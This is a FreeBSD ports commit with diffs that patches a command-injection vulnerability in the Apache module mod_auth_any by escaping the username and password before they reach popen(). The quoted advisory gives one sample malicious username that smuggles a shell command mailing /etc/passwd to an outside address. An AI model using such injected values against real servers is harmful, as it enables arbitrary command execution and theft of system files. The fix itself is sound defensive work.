o Fix vulnerability that allows execution of arbitrary commands on

the server with the uid of the apache process. Background [1]:

"The module accepts a username and password from the web client,
passes them to a user-space executable (using popen(3), which invokes
a shell) and waits for a response in order to authenticate the user.
The password is quoted on the popen() command line to avoid
interpretation of shell special chars, but the username is not.
Thus a malicious user can execute commands by supplying an appropriately
crafted username. (e.g. "foo&mail me@my.home</etc/passwd")

"The problem is easily fixed by adding quotes (and escaping any
quotes already present) to the username and password in the popen
command line."

o Fix this by adding a escaping function from [2]. Then, modifying
  this function appropriately with ideas from [3]. Apply the new
  escaping code to mod_auth_any.
o Bump PORTREVISION

Submitted by:	Security Officer (nectar),
		Red Hat Security Response Team <security@redhat.com> [1]
Obtained from:	mod_auth_any CVS [2],
		nalin@redhat.com [3]
This commit is contained in:
Mario Sergio Fujikawa Ferreira 2003-03-25 04:23:11 +00:00
parent 7a568562a2
commit 0025bdf0b2
Notes: svn2git 2021-03-31 03:12:20 +00:00
svn path=/head/; revision=77439
3 changed files with 87 additions and 0 deletions

View file

@ -7,6 +7,7 @@
PORTNAME= mod_auth_any PORTNAME= mod_auth_any
PORTVERSION= 1.0.2 PORTVERSION= 1.0.2
PORTREVISION= 1
CATEGORIES= www CATEGORIES= www
MASTER_SITES= ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/ MASTER_SITES= ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/
EXTRACT_SUFX= .tgz EXTRACT_SUFX= .tgz
@ -20,6 +21,10 @@ RUN_DEPENDS= ${APXS}:${APACHE_PORT}
APXS?= ${LOCALBASE}/sbin/apxs APXS?= ${LOCALBASE}/sbin/apxs
APACHE_PORT?= ${PORTSDIR}/www/apache13 APACHE_PORT?= ${PORTSDIR}/www/apache13
post-patch:
@${CAT} ${FILESDIR}/bash_single_quote_escape_string.c >> \
${WRKSRC}/${PORTNAME}.c
do-build: do-build:
@cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c @cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c

View file

@ -0,0 +1,45 @@
/* Escape special characters in the input string so that the bash
shell will not interpolate them when the input string is withing
single quotes.
IN: null-terminated character array containing string to be interpolated
OUT: newly allocate (using malloc) null-terminated character array
containing the input string with the special characters properly
escaped */
char* bash_single_quote_escape_string(const char *s) {
/* used to count the length of the string and the number of single quotes */
int str_len, sq_count;
int s_pos, buf_pos; /* copy chars loop counter */
/* used to hold the final result string */
char *buf;
const char *escapees = "\"'\\$~` \t|&;()<>";
/* Count the single quotes.
LOOP INVARIANT: str_len < (number of chars in string 's')
POSTCONDITION: sq_count == (number of single quotes in string 's') */
for (str_len = 0, sq_count = 0; s[str_len] != '\0'; str_len++)
if (strchr(escapees, s[str_len]) != NULL)
sq_count++;
/* Allocate the memory for the final string.
Each ' (one char) will become \' (2 chars), so multiply by 2
and don't forget to add 1 for terminating null. */
buf = (char*) malloc(sizeof(char) * (str_len + 1 + sq_count * 2));
/* Copy the chars of 's' into 'buf', turning each ' into \' */
for (s_pos = 0, buf_pos = 0; s_pos < str_len; s_pos++) {
/* If we see a single quote, then put '\'' into 'buf' and advance
buf_pos 4 positions, else put the next char from 's' into 'buf'
and advance buf_pos 1 position. */
if(strchr(escapees, s[s_pos]) != NULL) {
buf[buf_pos++] = '\\';
buf[buf_pos++] = s[s_pos];
} else {
buf[buf_pos++] = s[s_pos];
}
}
/* don't forget the null terminator */
buf[buf_pos] = '\0';
return buf;
}

View file

@ -0,0 +1,37 @@
--- mod_auth_any.c.orig Tue Jan 9 05:48:20 2001
+++ mod_auth_any.c Tue Mar 25 01:09:55 2003
@@ -121,6 +121,7 @@
*/
+char* bash_single_quote_escape_string(const char *);
/* NB: debugging stuff */
extern int errno;
@@ -180,13 +181,25 @@
const char *rpw, *w;
FILE* ext_authprog;
FILE* fp;
+ char *escaped_user, *escaped_password;
l = (char*) malloc (MAX_STRING_LEN * sizeof(char));
+ memset (l, '\0', MAX_STRING_LEN);
execstr = (char*) malloc (MAX_STRING_LEN * sizeof(char));
setenv ("REMOTE_ADDR", r -> connection -> remote_ip, 1);
+
+ /* escape the user name and the password */
+ escaped_user = bash_single_quote_escape_string(user);
+ escaped_password = bash_single_quote_escape_string(password);
+
/* open the program stream */
- snprintf (execstr, MAX_STRING_LEN, "%s %s \"%s\"", auth_pwfile, user, password);
+ snprintf (execstr, MAX_STRING_LEN, "%s %s %s", auth_pwfile, escaped_user, escaped_password);
+
+ /* free the escaped user and password before we forget */
+ free(escaped_user);
+ free(escaped_password);
+
if (!(ext_authprog = popen (execstr, "r"))) {
ap_log_rerror (APLOG_MARK, APLOG_ERR, r, "Could not popen() on program: %s: %s",